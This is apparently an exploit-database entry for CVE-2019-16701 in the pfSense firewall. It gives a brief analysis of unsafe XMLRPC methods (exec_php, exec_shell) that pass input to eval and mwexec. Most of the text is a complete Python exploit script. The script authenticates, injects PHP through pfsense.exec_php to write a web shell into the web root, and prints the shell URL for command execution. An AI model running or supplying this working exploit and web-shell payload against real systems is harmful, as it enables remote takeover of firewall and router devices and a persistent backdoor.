1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 |
# Exploit Title: Pfsense 2.3.4 / 2.4.4-p3 - Remote Code Injection # Date: 23/09/2018 # Author: Nassim Asrir # Vendor Homepage: https://www.pfsense.org/ # Contact: wassline@gmail.com | https://www.linkedin.com/in/nassim-asrir-b73a57122/ # CVE: CVE-2019-16701 # Tested On: Windows 10(64bit) | Pfsense 2.3.4 / 2.4.4-p3 ###################################################################################################### 1 : About Pfsense: ================== pfSense is a free and open source firewall and router that also features unified threat management, load balancing, multi WAN, and more. 2 : Technical Analysis: ======================= The pfsense allow users (uid=0) to make remote procedure calls over HTTP (XMLRPC) and the XMLRPC contain some critical methods which allow any authenticated user/hacker to execute OS commands. XMLRPC methods: pfsense.exec_shell pfsense.exec_php pfsense.filter_configure pfsense.interfaces_carp_configure pfsense.backup_config_section pfsense.restore_config_section pfsense.merge_config_section pfsense.merge_installedpackages_section_xmlrpc pfsense.host_firmware_version pfsense.reboot pfsense.get_notices system.listMethods system.methodHelp system.methodSignature As we see in the output we have two interesting methods: pfsense.exec_shell and pfsense.exec_php. 2 : Static Analysis: ==================== In the static analysis we will analysis the xmlrpc.php file. Line (73 - 82) This code check if the user have enough privileges. $user_entry = getUserEntry($username); /* * admin (uid = 0) is allowed * or regular user with necessary privilege */ if (isset($user_entry['uid']) && $user_entry['uid'] != '0' && !userHasPrivilege($user_entry, 'system-xmlrpc-ha-sync')) { log_auth("webConfigurator authentication error for '" . $username . "' from " . $this->remote_addr . " not enough privileges"); Line (137 - 146) This part of code is the interest for us. As we can see, first we have a check for auth then we have the dangerous function (eval) which take as parametere ($code). public function exec_php($code) { $this->auth(); eval($code); if ($toreturn) { return $toreturn; } return true; } Line (155 - 160) In this part of code also we have a check for auth then the execution for ($code) public function exec_shell($code) { $this->auth(); mwexec($code); return true; } 3 - Exploit: ============ #!/usr/bin/env python import argparse import requests import urllib2 import time import sys import string import random parser = argparse.ArgumentParser() parser.add_argument("--rhost", help = "Target Uri https://127.0.0.1") parser.add_argument("--password", help = "pfsense Password") args = parser.parse_args() rhost = args.rhost password = args.password print "" print "[+] CVE-2019-16701 - Pfsense - Remote Code Injection" print "" print "[+] Author: Nassim Asrir" print "" command = "<?xml version='1.0' encoding='iso-8859-1'?>" command += "<methodCall>" command += "<methodName>pfsense.host_firmware_version</methodName>" command += "<params>" command += "<param><value><string>"+password+"</string></value></param>" command += "</params>" command += "</methodCall>" stage1 = rhost + "/xmlrpc.php" page = urllib2.urlopen(stage1, data=command).read() print "[+] Checking Login Creds" if "Authentication failed" in page: print "[-] Wrong password :(" sys.exit(0) else: random = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(32)]) print "[+] logged in successfully :)" print "[+] Generating random file "+random+".php" print "[+] Sending the exploit ....." command = "<?xml version='1.0' encoding='iso-8859-1'?>" command += "<methodCall>" command += "<methodName>pfsense.exec_php</methodName>" command += "<params>" command += "<param><value><string>"+password+"</string></value></param>" command += "<param><value><string>exec('echo \\'<pre> <?php $res = system($_GET[\"cmd\"]); echo $res ?> </pre>\\' > /usr/local/www/"+random+".php');</string></value></param>" command += "</params>" command += "</methodCall>" stage1 = rhost + "/xmlrpc.php" page = urllib2.urlopen(stage1, data=command).read() final = rhost+"/"+str(random)+".php" check = urllib2.urlopen(final) print "[+] Checking ....." if check.getcode() == 200: print "[+] Yeah! You got your shell: " + final+"?cmd=id" else: print "[+] Sorry :( Shell not found check the path" |